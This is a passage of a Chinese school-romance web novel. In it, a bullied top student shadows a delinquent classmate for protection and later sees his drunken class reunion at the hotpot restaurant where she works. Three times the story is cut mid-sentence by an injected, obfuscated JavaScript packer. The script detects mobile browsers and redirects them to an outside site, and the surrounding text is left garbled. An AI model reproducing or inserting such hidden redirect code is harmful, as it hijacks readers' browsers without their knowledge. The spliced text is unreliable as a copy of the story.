叶子只觉得好笑:“不是我偷的我还什么?烧给你好不好?” 董婉凝噎了一下:“你!” 她那三个走狗立刻维护她:“你嘴怎么这么脏呢!” “表面好学生,实际嘴比谁都臭!” “给董婉凝道歉!” 叶子确实很少说脏话,她是柔弱,可她不是软弱。她毫不犹豫说:“不道怎样?” 董婉凝被她强硬的态度挫到,气不过说:“你等着吧,我不会让你好过的!”她哼了一声,转头走了。 三个女生瞪了叶子一眼,跟着董婉凝走了。 可是叶子也气不过,她明知是董婉凝陷害她,却拿不出任何证据,才使董婉凝可以站在道德制高点上不断欺负羞辱她。 她该怎么办? * 放学,彪子带人继续在校门口蹲叶子。他们受了董婉凝指使,不蹲到不罢休。 叶子昨天跟着韩山走,尝到了甜头,今天依然打算如此。 然而她还没太摸清韩山的行动路线,等她做完值日,发现韩山已经走了。 她一惊,飞奔出校门,果然被彪子带人堵住。 韩山就比她早了两分钟,背影刚刚拐过路尽头。 叶子拔腿就跑。 彪子:“追!” 叶子气喘吁吁追上韩山,走在他前面。 她抓着书包肩带,战战兢兢不敢回头,怕彪子那帮人,更怕韩山的脸色。 “哎呦,啥情况啊弥哥?”猴子带头起哄,男生们夸张的叫声此起彼伏,然后被韩山一个眼神吓得闭了嘴。 叶子装作听不见,红着脸走在他视野正中心,不到两米远的位置。 他的身边,就是安全区域,他的视野范围之内,安全加倍。 这人已经怼到他面前,韩山想不看到都难。 彪子他们哪里敢在韩山眼皮子底下造次,这不是找打吗,只好灰溜溜地埋伏起来。 叶子就知道他们不敢上来,劫后余生松了口气。 韩山在她身后垂眸看她,黑眸无波无澜。 叶子在他目光下走进公交站台,在人群中等公交,彻底放心了。 好险好险……躲过一劫。 她不知道韩山怎么看她,她不敢跟他搭话,他也不理她,他视而不见,又似乎默许她的出现。 他没反感,叶子就当他无所谓,愈发心安理得起来,连续几天都这么跟着他。 彪子那帮人也是坚持不懈,放学在校门口蹲她,上学在她家附近蹲她,被她绕路避开。 叶子渐渐摸清了韩山的行动轨迹,甚至可以提前到校门口等他出现,再跟他一起出校门。 韩山的兄弟们又开始了:“哇哦~” “弥哥啥时候多了个女跟班啊?” 次数多了,韩山懒得理,只当没听到,垂眸看着眼前这个瘦瘦小小的“小跟班”。 哪有跟班走前面的? 与这相比,学校里董婉凝的欺凌,就显得小打小闹,忍忍就过去了。 叶子总觉得是不是自己上辈子欠了他们钱,这辈子让他们来“讨债”来了。不然怎么给她安的黑锅都是偷钱。 期中考试的时间出来了,在月底,叶子看到了曙光,只要期中考出好成绩离开这个班,远离董婉凝,一切都会好起来。 叶子更加努力的学习,彪子每天失望而归,董婉凝变着花样欺负她,叫她书呆子,藏起她下节课要用的课本,用马克笔在她桌子上画王八,捉来虫子丢到她后领…… 叶子最怕虫子,吓得尖叫,疯狂抖衣服把虫子弄出来。他们又会嘲笑她的狼狈。 课代表发练习册,发到最后没有她的,她找了一圈才发现,练习册早就被人丢进了水盆里。 班里洗抹布的水盆,水脏了没人换,积了一层厚厚的粉笔灰。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713076|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的练习册晒干了也没法用,她只能重新买一本。 十一月底,期中考试终于结束了。 学校将全年级的成绩做成喜报,贴在楼道展板上。那天,同学们全都围过去看,叶子一眼就在第一名看到自己的名字,开心极了。 她忍不住要跑起来,猛地转身,鼻尖却狠狠戳到一个人的胸膛,被逼退了两步。 这人胸膛硬得像石头,叶子惨兮兮揉着鼻尖抬头,竟然是韩山。 他没有看她,目光落在喜报上,他也是来看成绩的。 她有些尴尬,连忙绕开他逃似的跑了。 韩山默默瞥了她背影一眼。 她天天放学跟着他走,俩人打了n多照面,愣是一句话没说过。 叶子不知道他怎么想,反正她是胆子小不敢说,万一捅破这层窗户纸,他不让她跟着了怎么办? 韩山收回目光,抬头看喜报,在第一名看见她的名字,随后目光向对角线移动,仿佛早就知道自己的名字会在那里一般。 果然……还是那么的毫无悬念。 倒数第一,韩山。 他没写卷子,全程睡过去,交的白卷。事实上,就算是写,他也稳居倒数。 多年不学习,再聪明的人都得废了。 他现在看试卷犹如看天书。 他蒙也懒得蒙,看着就犯困,倒头就睡,比上课睡得还香。监考老师知道他纨绔,也懒得管。 韩山前面几名是猴子,他把答题卡扔地上踩了一脚,每科拿了十几分。 他的其他几个兄弟都零零散散分布在倒数范围之内,只有四眼稍微好上一点,年级中下游。 不过这个成绩也着实配不上他平时的努力,换个人早就冲进年级前十了。 果然学习这事,还是靠点天赋。 有的人点满了努力值耐心值,不如有的人只是找对了适合自己的方法。 更不如有的人既有天赋还努力。 韩山再一次望向第一名的格子,她的名字独占鳌头,第二名被她甩了整整五十分。 高一九科,平均每科甩了五分以上。 叫一声学神不为过。 若是高考,这五十分不知道能甩开多少万人。 周围有学生议论:“第一名又是她啊……我记得开学考试她就是第一……” “是啊,作文还是满分呢!” “人家可是今年的中考状元!成绩这么稳定也是相当厉害了……” 韩山听到他们的声音,自嘲般扯了下唇角,转身离开。 命运也是神奇,竟能把这样两个毫不相干、截然相反的人,牵扯在一起。 很快分班表也出来了,张贴在年级告示栏上。叶子难以置信,董婉凝竟然还跟她一个班。 她那种差生,怎么可能? 叶子不服气找到赵育芳,问道:“老师,这班不是按成绩分的吗,为什么我的班里会有一些差生啊?” 办公室另一角的工位上,欧阳红也在跟韩山谈话,“无论如何不能交白卷啊!这是态度问题,好歹蒙一蒙呢?” 韩山早就不耐烦,听到叶子的声音,目光有意无意看过去。 她这是不想跟谁一个班啊,这么委屈? 叶子没看到韩山,完全不知道她的话被他一字不落听了去。 赵育芳无奈说:“大体上是按成绩分的没错,你也确实是一班尖子班,但是老师一早不也说过,会有个别特殊学生,由教导主任亲自调班。” 言外之意,他们掏了钱,学校自会照顾。 叶子如遭晴天霹雳,她那么努力地想在期中考出好成绩为的什么,不就是为了进最好的班级,远离董婉凝那种人吗?结果人家花点钱,就能跟她一个班。 她心中生出深深的无力感,似乎这么多天的努力都白费了。 赵育芳劝慰说:“学校安排我带一班,之后我还是你班主任。你跟董婉凝的过节我知道,放心,日后有困难都可以跟老师说。” 然而叶子觉得根本没用,不是所有事情老师都能管得了。 韩山也听到这话,顿时了然。 后面赵育芳又说了什么,叶子没注意听,像丢了魂一般浑浑噩噩离开了办公室,自然没注意另一边的韩山。这天她精神状态很差,所以也就没关注别的。 所以她更不知道,年级告示栏上,一班的分班表里,分明还有另一个名字—— 韩山。 13. 伊斯坦堡 期中过后便是周末,为了买专辑,叶子坚持去饭店打工。 好巧不巧,居然在这里碰到了韩山。 他不是跟猴子胖哥他们,而是跟着七八个叶子不认识的男生进来了。 他身高突出,叶子一眼就注意到他,心一咯噔,慌忙背过身去佯装擦桌子,生怕被他认出。 怎么在这碰到了,好尴尬!叶子懊恼地想。 她边擦桌子边偷瞟他们,韩山今晚穿的是一件白色连帽卫衣,白得仿佛在发光。 他们似乎早已订好了房间,与柜台说了两句话便向楼上走去了。 叶子连忙收回目光,佯装卖力地擦桌子。 拐进楼梯间时韩山注意到叶子的背影,目光稍稍停留。 韩山旁边的男生叫徐易,他笑嘻嘻搭过韩山的肩膀,递给他一支烟,“华子,弥哥。看什么呢?”徐易顺着他的目光看去。 “没什么。”韩山神色淡淡,收回目光,接过烟叼在唇间。 徐易没再问,想来也没什么,那个方向只有一个服务员,还留着个土气的学生头。 徐易给韩山递火,火星一亮,烟雾散开。韩山把烟夹在修长的指间。 男生们嬉笑谩骂着上了楼梯,叶子终于松了口气。他们吵,她并不能听清他们说的什么。 临近饭点,店里陆陆续续上客了,叶子忙碌起来,她打工的是家火锅店,如今十二月了,天气转凉,选择火锅的人也渐渐多了,店门的玻璃上结出朦胧的雾气。 不一会儿,店里又来了四五个打扮花哨的女生,叽叽喳喳也往楼上走了。 包间里,烟雾缭绕,韩山坐在角落,听着徐易给他讲八卦,时不时弹下烟灰。他的位置并不起眼,但他周身气场独特,依然能让人一眼注意到。他脖子上挂了个头戴式耳机,银灰色的,慵懒靠在椅背上。 他跟徐易是初中同学,今晚同学聚会正是徐易组的局。 徐易突然勾住他脖子,在他耳边坏笑着说:“今晚陆颖也来。” 陆颖是韩山初中时表白过的女生,但被她拒绝了,之后韩山苦追了她两年,不乏护送她上下学,给她带早餐,送她大小礼物,但陆颖不为所动,再次将他拒了。 韩山倒也放得下,直接就放弃了,再没多看她一眼,之后俩人形同陌路。 反转却在这时来了,陆颖发现韩山不再理她后,反倒开始主动倒贴。这时候韩山已经对她不屑一顾。 后来他们初中毕业,去了不同的学校,便再无交集。 徐易兴致勃勃给韩山介绍陆颖的近况:“她高中走的舞蹈特长,现在是高中部校花。”他暗示地拍了拍韩山的肩膀。 韩山听罢毫不在意扯了扯唇角,把烟头按灭在烟灰缸,“你又不是不知道,那只是个赌约。” 追到陆颖,是韩山游戏失败的惩罚,因着这个惩罚,他已经被起哄了两年。 “滋滋滋。”徐易砸砸嘴,贱兮兮地说:“最好只是赌约。” 韩山懒得理他。 他可不是会因为一个赌约就心动的人。 徐易又给他递华子,他摆了摆手,不想抽,徐易硬塞到他嘴里,给他点上。他把烟夹在指间。 这时,包间的推拉门被“哗”一下打开,男生们发出欢呼。 “哟!颖姐!” “我们颖姐来了!” 盛装打扮的陆颖走进包间,落落大方给男生们微笑招手,“好久不见呀,哈喽!” 因为常年练舞,她身材、气质,都很出挑,在初中时就倍受瞩目。所以男生们才给韩山选了这个目标。 今日的她穿了一件米白色碎花长裙内搭,外面套了个小香风外套,化了精致的妆,就像个明星。 徐易连忙站起身吆喝陆颖:“来来来颖姐!坐我这,给你留的位置!” 徐易的位置在韩山旁边,男生们秒懂,包间内爆出起哄声。 陆颖自然而然看向徐易旁边的人,徐易飞快地在另一个位置上坐下了,韩山没有看她,把椅子往另一侧挪了挪,给她腾出空间,对于那些起哄的他早已习惯了,他毫无波澜,用自己的声音压过他们的声音,说:“人齐了,来点菜吧,服务员!” 起哄声平息了些,陆颖自然地坐下了,女生们陆续都入座。 “韩山又帅了哦!”陆颖旁边的女生,梁怡热情地跟韩山打招呼。 韩山立刻说:“你也更好看了。” 梁怡笑容灿烂,“商业互吹是吧!” 陆颖看到韩山脖子上的耳机,笑着问他:“你现在还喜欢SKY?” SKY是韩山初中时喜欢的乐队。 韩山淡淡说:“不了。” 陆颖眨着亮晶晶的眼睛,说:“那你现在喜欢谁啊?” 一语双关。 有人看他们说上话了,又开始起哄。韩山把烧了一半的烟按灭在烟灰缸,站起身说:“我去叫服务员。”然后便离开了包间。 “哎呀,韩山害羞了!”梁怡说道。包间里笑闹声不止。 梁怡用胳膊碰了碰陆颖,“你不是还喜欢他吗,好好把握哦!” 陆颖有些脸红地低下头。 韩山下了楼,给柜台说:“姐,209点餐。” “好嘞!” 韩山转身上楼。 叶子此时刚给厨房送完菜单出来,柜台姐姐正好看到她:“叶子!去给209点餐!” 楼梯间的韩山脚步顿了一下。 果然是她。 叶子瞥见一道白色身影上了楼,心里有种不祥的预感,犹豫了一下,说:“好的。” 韩山回到包间,直接坐在了门口的空位,没有回原位。 这个位置本来是为了方便上菜特意空出来的。 旁边的男生高洋带着起哄意味说:“弥哥怎么坐这,往里坐啊!” 韩山打开了位置上的餐具,仿佛没听见。 梁怡见状看向陆颖,陆颖笑笑说:“他坐那进出方便些,没事。” 叶子拿着菜单和笔上了楼,隔着一段距离,就看到门口白衣服的背影。 209的门没关,里面传来男生们的笑闹声,叶子吸了口气,猛地背过身。 还真是他们! 她连忙又下了楼,她可不想让韩山知道她在这打工。 她拉过一个刚点完餐准备去给厨房送单子的姐姐,说:“娟姐,我帮你去送单子,你能不能帮我去给209点餐?里面有我同学,我怕尴尬。” 娟姐很能理解她这种心理,笑着说:“没问题,我去。” “谢谢娟姐!” 叶子成功逃过一劫,松了口气。 209房间内,韩山看到来点餐的不是叶子,在心里轻嗤一声。 故意躲他? 这就不是天天在校门口蹲他的时候了。 叶子在一楼给客人上菜,娟姐点完餐下来了,叶子听见娟姐给柜台姐姐说:“209两箱啤的,三瓶白的。” 叶子觉得有些不妥,未成年不该喝酒吧…… 柜台姐姐和娟姐一同往楼上搬酒,叶子默默叹了口气。 209内,徐易把啤酒一个个启开,在桌上摆成排,“弥哥你是要我的还是要高洋的?” 高洋正在给自己倒白酒,说:“那还用问?弥哥肯定要我的!” 韩山一本正经说:“吃头孢了,要不了一点。” 徐易嘴里叼着烟:“头孢个屁!高洋,给他倒上!今晚不醉不归!” 韩山:“真吃了,一会儿我躺了你就信了。” 高洋给韩山倒酒,徐易说:“你要真躺,我叫你爸爸!” 韩山笑了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713077|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐易给桌上的人发啤酒,说:“等会咱们吃完饭去哪?KTV?密室逃脱?剧本杀?” 女生里面说什么的都有,陆颖说:“KTV吧。” 韩山喜欢听歌,唱歌自然也好听,她记得韩山追她那会儿,在KTV给她唱过一首“黑凤梨”。 徐易听见陆颖说KTV,心领神会,立马问韩山:“弥哥KTV去不?” 韩山并没关注陆颖说了什么,单纯回答徐易的问题:“都行,在你们。” 很快锅底和菜上来了,服务员依旧不是叶子。韩山坐门口,主动起身给服务员让地。 徐易组织起玩骰子,输了的要在喝酒和真心话之间选一个,伴着火锅腾出的热气,饭桌渐渐热闹起来。 韩山运筹帷幄,一次也没输过,看着其他男生陆续喝酒,他低调地不吭声,以免吸引火力。 然而他自己低调没什么用,徐易很快发现气氛不太对,大声说:“操,我说弥哥咋这么安静,他现在一杯都没喝过!兄弟们!” 有男生说:“啥?一杯没喝过?咋回事弥哥!” 梁怡笑着说:“韩山,你这可不地道哦,这桌上数你酒量最好。我记得毕业那会儿你喝了一箱呢!” 韩山笑得肆意:“输不了,怪我?” 徐易:“哎!兄弟们!他说他输不了!” 高洋:“给他点颜色瞧瞧!” 男生们将矛头对准了韩山,故意起高点数,轮到韩山时,他喊也不是,开也不是,几轮下来,韩山被灌了一杯又一杯,还是白的。 女生们看乐子,不亦乐乎。 酒精作用下,包间里的气氛更加兴奋活络。 男生们灌韩山,也自损八百,个个都喝了不少,地上空酒瓶子七横八竖。 韩山又输了,给自己倒酒,他喝得开心,脸上带着笑。 徐易挑眉说:“一直喝也没意思,弥哥敢不敢玩个真心话?” 此言一出,桌上男生纷纷露出坏笑,都知道徐易的心思。梁怡也看出来,用胳膊碰了陆颖。 陆颖脸庞微红,低着头小口吃碗里的虾滑。 韩山心中了然,笑着说:“不玩,少激将我。” 男生们爆出失望的声音。 韩山仰头将酒干了。 一个服务员从门外经过,韩山注意到锅里汤见底了,说道:“哎姐,添点水。” 服务员看了一眼,“好的,稍等。” 徐易给韩山递烟,韩山叼在嘴里点着,随便夹在指间,有些沉默。 陆颖一直看着他,他喝酒不上脸,从外表很难看出醉了与否,但她知道,他越是多了,话反而越少。 他夹着烟,也不抽,任由烟在指间一点点燃烧。 没有人注意他是否抽了,一个人只要夹着烟,别人都会默认他抽了,这种细节,只有陆颖知道。 她不喜欢抽烟的男生,所以她喜欢韩山。 徐易见盘子空了大片,问大家:“用不用再加点菜?” 有男生说:“加点吧,这才哪到哪。” 徐易:“好嘞!” 服务员很快来了,给锅里蓄水,徐易说:“姐,我们再加点菜。” 韩山从座位上站起来,“你们玩,去个厕所。”他的身影消失在房门外。 陆颖望着房门,也起身离开了包间。 此时叶子刚上完厕所,在水池前洗手。 刚才她听说有客人需要蓄水,自告奋勇就要去,结果一听是209,又打了退堂鼓。 她一边洗手,一边在脑子里有一搭没一搭地想,他们得吃到几点啊,真是烦。 韩山将烟掐了,丢进垃圾桶,走进卫生间,与此同时,叶子洗完手,转身要走。 毫无预兆,四目相对。 叶子猛地一怔。 14. 伊斯坦堡 韩山没想到会在这里碰到她。 她不是挺会躲的吗? 他没想到,叶子也没想到,他不老老实实在包间待着瞎跑什么!!!啊啊啊…… 她内心抓狂,脸颊滚烫,局促得要命。 这些体现在她脸上,便是一片羞红。 韩山黑眸没什么情绪,他喝了酒,目光有些许朦胧。 看到我就这么紧张吗? 他不想为难她,故意视而不见,移开了目光。 叶子正发愁要不要打个招呼,见韩山冷冷收回目光,仿佛没看见她一般,进了卫生间。 她如获大赦,第一次这么庆幸他把她当空气,逃似的离开这里。 出门的时候她正好撞上进门的陆颖。 叶子脸上的红晕还未消退,低下头匆匆跑了,陆颖却敏锐地察觉她应该和韩山认识。 毕竟韩山刚进去,她就出来了,还是这副模样。 陆颖回头看她背影。 她并没有危机感,叶子穿着工作服,对陆颖来说,一个在火锅店打工的小妹,根本威胁不到她。 韩山再出来时,刚才叶子站的位置,变成了陆颖。 他一样视若无睹,去水池前洗手。 陆颖深吸一口气,走上前去,带着点愧意,又带着点求和意味地说:“韩山,你还在生我的气吗?” 韩山头也没抬,“什么气?” 陆颖:“拒绝你两次。” 韩山忍不住笑了,她真觉得她的拒绝会那么让人念念不忘吗? 叶子出了厕所后,边收拾客人用完餐的桌子边想,哎呦,到底是被发现了,她怎么非要在那会儿去厕所啊?她懊悔不已。 她不断往厕所那边瞟,心想着等他出来可不能再让他看见。 陆颖低着头小声说:“其实我早就喜欢你了,只不过当时没有搞清楚自己的心……你能再给我个机会吗?” 那酒后劲大,韩山脑袋有些昏沉,不想谈这件事,拽了纸巾,擦手向外走。 陆颖忙跟上去,“韩山……” 二人前后出了厕所,韩山将擦过手的纸巾丢进门口垃圾桶。 叶子看见他出来,连忙蹲下身,佯装擦椅子。 陆颖央求说:“再给我一次机会好不好?” 她想拉韩山的胳膊,韩山抬手躲开了。 叶子看见这一幕,惊了惊,心说:妈呀,早恋! 韩山眉心蹙起,不胜其烦说:“我说了那只是个赌约。” 陆颖:“可我是动真感情了啊,我不相信你没有。” 韩山接得很快:“我还真没有。” 游戏而已,逢场作戏。 感情?笑话。 叶子看出他们在说着什么,但距离原因,她一个字都听不清。 陆颖委屈说:“难道你对我就没有一丝一毫的喜欢吗?” 韩山:“没有。” 陆颖:“那你喜欢什么样的?” 韩山随口说道:“喜欢学习好的。” 他知道陆颖学习不好,初中时陆颖就是班里的倒数,也是因此,高中走了舞蹈特长。 陆颖不信:“你这样的人,怎么可能会喜欢书呆子?” “怎么不可能。” 韩山拐进楼梯间,仗着人高腿长,一步三台阶,飞快地将她甩掉。 陆颖叹了口气,按自己的速度上楼,没有去追。 等他们身影都消失了叶子才站起来,她没有什么感觉,也没听清他们在说什么。 她只觉得自己似乎发现了什么不得了的事情,得赶紧忘掉。 店长这时经过,神色严厉地说:“蹲半天干嘛呢?” 叶子吓了一跳,脸庞顿时热了起来,“啊,我、我擦椅子呢……”她声音细如蚊呐,把手里的抹布给店长看,神色紧张。她是真不擅长撒谎。 店长看了一眼,没说什么,冷脸进了员工间。 叶子也不知道她信了没有,沮丧地抓了抓头发。 之后209又加了箱啤酒,直到大堂里的时钟指向十点半,少年少女吵吵闹闹从楼上下来。 韩山混在人群中,唯独他很安静,散发着清冷疏离的气质,让人不自觉看向他。 徐易去结账,其他人都站着等,韩山没有,他被灌了不少酒,脑袋昏沉,推开大堂的玻璃门,到外面吹风。 晚风扬起他的额发,他清醒很多,把耳机戴在头上。 玻璃门缓缓合上,雪白的雾气遮挡了外面的一切。 陆颖情绪低沉注视着玻璃门,梁怡宽慰她说:“没事,一会儿在KTV跟他好好说说。你性格好人又漂亮,不喜欢你是他的损失。” 徐易结完账,少年少女们轰轰烈烈离开了。 叶子躲在饮料柜后,瞧他们走了,松了口气,彻底放心了。 她主动上楼,“我去收拾吧。” 其他姐姐们一起跟上,“一起吧一起吧。” 火锅店晚上十一点打烊,只有半个小时的时间了。 韩山的位置下放着两个空的白酒瓶子,五个空的啤酒瓶子,叶子推测他喝了不少,这些不一定是全部,心中生出几分惋惜。 不好好学习,就知道抽烟喝酒。 哦对,还爱上网。 大好年华都让他们给浪费了。 她一边收拾酒瓶子一边想。 “这帮年轻人真能喝。”一个姐姐感叹说。 另一个姐姐拿起桌上没喝完的白酒瓶子,“这还剩个底。” 叶子拉开椅子,扫出地上的烟头烟灰,心里惋惜之情又加重几分。 也不知道他期中考得怎么样……她脑子里有一搭没一搭地想。 叶子的扫帚不知何时湿了,在地面扫出水痕,她愣了愣,回过头,发现韩山座位下的地面上有片透明的液体,酒味很重,显然是白酒。 好家伙,这人还偷偷倒酒呢。 挺会耍小聪明啊。 叶子一眼就看出来,会心一笑。 火锅店附近就有家KTV,少年少女们簇拥着一同往KTV走。今夜天气晴朗,星星月亮都出来了,韩山戴着耳机走在星空下,清冷的气质似乎在他周身形成屏障,将吵闹声隔绝开来。 陆颖很想知道他耳机里听的到底是什么。 她不经意一瞥,正好对上徐易的眼睛,他刚才一直在旁边偷偷观察陆颖的视线,露出坏笑。 陆颖有些不好意思,抬手想要打他,“你一直看着我干嘛!” 徐易灵巧地躲开她的攻击,两三步冲到韩山身后,抢了他的耳机戴在自己头上,“哎呦呦,这是什么歌啊?原来我只想要你陪我去吃汉堡?”他念出耳机里的歌词,恍然大悟说:“哦!我说弥哥怎么这么安静,原来是没吃饱啊!” 韩山:“滚。” 那白酒后劲上来,他眼睛带着雾气,但眼底之色凌厉,有淡淡的冷怒。他将耳机拿回来,重新戴在头上。 徐易挑眉对陆颖说:“原来我只想要你陪我去吃汉堡。” 陆颖依旧不知道这是什么歌,她没听过,她平常也不爱听歌。 梁怡却一下子听出来:“《伊斯坦堡》吗,韩山最近喜欢Jay?” 陆颖疑惑:“Jay?” 梁怡:“最近火起来的那个。” 陆颖有点印象,神色落寞点了点头,少年的喜好善变,她总是跟不上。 徐易在KTV开好了包间,男生们抢着在点歌器前点歌。 韩山在沙发角落坐下。 房间暖气开得很足,他脱掉卫衣,拨了拨头发。 他里面穿的是一件白色T恤,好看的手臂线条显露出来。 陆颖也将外套脱下,收腰的长裙将她身材修饰得很好,更显她高挑,气质优雅。 不知是谁选了首劲爆DJ,富有动感的旋律响起。男生们把音量调到最大,歌曲的声音震耳欲聋,整个包间仿佛都在颤动。 有人吹了个口哨:“high起来!” 昏暗的包间里,五彩斑斓的灯光随着节奏晃动,将韩山的侧脸照得明明灭灭。 他身上的气质稳重清冷,偏偏银发和银色项链与耳钉又给他添了几分桀然的痞气,令人心动的反差。 陆颖被气氛带动,变得大胆起来,她坐在韩山旁边,乖巧地说:“你能再给我唱一次‘黑凤梨’吗,你唱得很好听。” 她的声音被音响声淹没。 韩山不知是真没听清还是装的,说:“什么?听不清。” 但他也没有要再听一遍的意思,一只胳膊枕在脑后,舒服陷在沙发里,长腿踏在桌边,黑眸映着MV里的画面。 陆颖欲言又止,最终没说什么。 徐易扯着嗓子,对女生们喊:“你们要唱什么歌!过来点!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713078|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他打手势。 “我来!”梁怡欢快地跑过去。其他女生也围了过去。 陆颖没有动。 服务员上了酒和水果架,陆颖用牙签插了块哈密瓜,递给韩山,有讨好的意味。 韩山懒洋洋看她一眼,闭上眼睛,无声拒绝。 * 叶子忙完回到家,已是夜里十一点半,她的父母都睡下了,家里一丝光亮都没有。 叶子轻手轻脚进了自己房间,关上房门,打开灯。 暖黄的灯光铺满整个房间,她换好衣服,坐在书桌前,准备学一会儿再睡。 她的书桌在窗户前,她一抬头就能看到璀璨的星空。她打开台灯,翻开书本。 窗明几净,整栋楼唯有她的房间亮着灯,月光照映她伏案学习的身影,美好沉静。 叶子心想,明天就要去新的班级了,她要有个好的开始。 * KTV里,屏幕上放映着BEYOND《喜欢你》的MV,富有年代感的模糊画质,港风的画面,温柔的旋律,连头顶摇晃的灯光也变得缓慢暧.昧了起来。徐易拿着话筒,用蹩脚的粤语扯着嗓子喊:“细雨带风湿透黄昏的街道……”他把话筒递到韩山嘴边,被韩山冷漠推开。 少年少女们玩转盘喝酒,气氛正high。陆颖喝猛了些,听着曾经这韩山用来给她表白的旋律,越听越难受,酒精上头,一把抓住韩山的手腕,在众人的目光下,将他带出包间,来到一个僻静的角落。 十一月底的夜,包间外还是有些冷的。 徐易、梁怡、高洋……男生女生们一个个从包间门探出头去,好奇地往他们那边瞧。 《喜欢你》的旋律从包间内漫出来:愿你此刻可会知,是我衷心的说声…… 韩山酒劲未退,眼皮慵懒地抬着,两臂环胸抱在身前,眉头微蹙,脸上带着不耐烦之色。 陆颖目光朦胧,摇摇晃晃想往他怀里倒。他面不改色后退避开。陆颖只好虚虚扶住墙。 “陆颖,”他连名带姓叫她,“清醒点,不然我让徐易送你回家。” 陆颖带着醉意,委屈说:“干嘛对我这么凶……我喜欢你有什么错,阿弥……” 韩山冷冷说:“阿弥不是你叫的。” 陆颖感觉到他的态度,十分难过,“明明是你主动招惹我,为什么你能全身而退?” 韩山讥诮扯了下唇角,“你知道为什么,他们让我追你吗?” 陆颖:“为什么?” 韩山神色轻佻地上下看她:“因为你看起来最难追。” 伴着歌曲的高潮,她听见韩山说:“你人美,身材好,性格温柔,会跳舞,一看就是那种处在高位,去挑选别人的女生。而非供人挑选。” 陆颖带着意外之色抬头。 他用最轻浮凉薄的语气说着最动人心弦的话:“这正是你的闪光点。喜欢你的男生会有很多,你值得真正优秀的,而我就是个混混。我没追到你,我输得心服口服。我确实不该招惹你。赌约之事,是我冒昧。你应该继续做你自己,而不是为了我,变得如此……卑微。好好学习好好跳舞,别在我身上浪费时间了。” 陆颖瞳眸颤动。 十五岁这一年,她居然在喜欢的男生口中,听到这样的话—— 你应该去挑选别人,而非供人挑选。 你应该做你自己,而非为了某个男生变得卑微。 歌曲接近尾声,陆颖渐渐意识到,他们也结束了。 之后韩山回了包间,拿了卫衣便走了,“我喝多了头疼,你们玩,我先撤了。” 徐易他们纷纷挽留,韩山说:“改日再聚。” 所有人都默认肯定是他和陆颖发生了什么,跑过去八卦陆颖,“你和韩山说了什么啊,他怎么突然就走了?”梁怡问。 徐易嬉皮笑脸说:“是啊,你给弥哥说了什么虎狼之词,把他吓跑了?” 陆颖此时已经冷静了很多,她脑中反复回响着他的话,突然释然地一笑,“他把我拒绝了。” “什么?!”徐易惊呼,“弥哥真是瞎了!你别难过,弥哥他肯定是不想耽误你学习!” 陆颖摇摇头:“我不难过,我反而觉得他拒绝得挺好。是我被冲昏了头,脑子不清醒。” 这下,众人反倒开始疑惑了。 陆颖:“我很高兴,我喜欢的是一个很好的人。” 15. 伊斯坦堡 第二天,叶子早早来到新班级,挑了第三排正对讲台的位置坐下。 她慢慢收拾东西,教室里的人渐渐多了起来。 董婉凝单手拎着书包,吊儿郎当进来了,把书包往最后一排一扔,拉开椅子,大喇喇坐下了。 她注意到前面收拾东西的叶子,心里生出个好主意,又拎起书包,起身往前走。 她来到叶子旁边的位置,把书包往桌上一扔,对座位上的女生说:“起开,这地儿归我了。” 那女生也是个文文静静的性子,知道来者不善,默默抱着东西离开了。 董婉凝趾高气昂地坐下,今天她穿的是一件黑色皮夹克,面料闪亮,下身是紫色工装裤,画着紫色的眼影,整个人走的暗黑潮酷风。 他们的座位是单人单桌,董婉凝与叶子隔着一个过道。 叶子知道她没安好心,忍不住转向她,“董婉凝,你能不能别这么阴魂不散?” 董婉凝一脸无辜,“我招你惹你了!上来就骂我?” 叶子:“司马昭之心。” 董婉凝却一改往日嚣张跋扈模样,挽住叶子的胳膊,十分亲热地说:“叶子,之前是我太幼稚了,现在既然来到新班级,我们重新开始,做朋友好不好?”她露出友善的笑容。 叶子抽出胳膊,冷冷说:“我们不是一路人。”她翻开课本看起来。 董婉凝没有坚持,幽幽说了句:“叶子,这可是你自己不愿意跟我做朋友的哦。”她弯了弯眼睛,虽然在笑,但眼里没有半点笑意。 叶子不想被她分心,堵住耳朵,专心看自己的书。 董婉凝又转身拉拢周围的女生,“哎,我们以后一起玩吧,我叫董婉凝,你们呢?” “我叫张婧雅。”其中一个女生说。 以董婉凝为圆心,周围女生都接受了她的示好,告诉她自己的名字。 叶子嫌她们吵,想换座位,她往后看了看,现在人快齐了,教室里坐得满满当当,只有最后一排还空着几个。 叶子又不想坐最后一排,默默叹了口气,继续堵着耳朵看书。 上课铃很快打响,班主任赵育芳踏入教室,教室顿时安静下来。 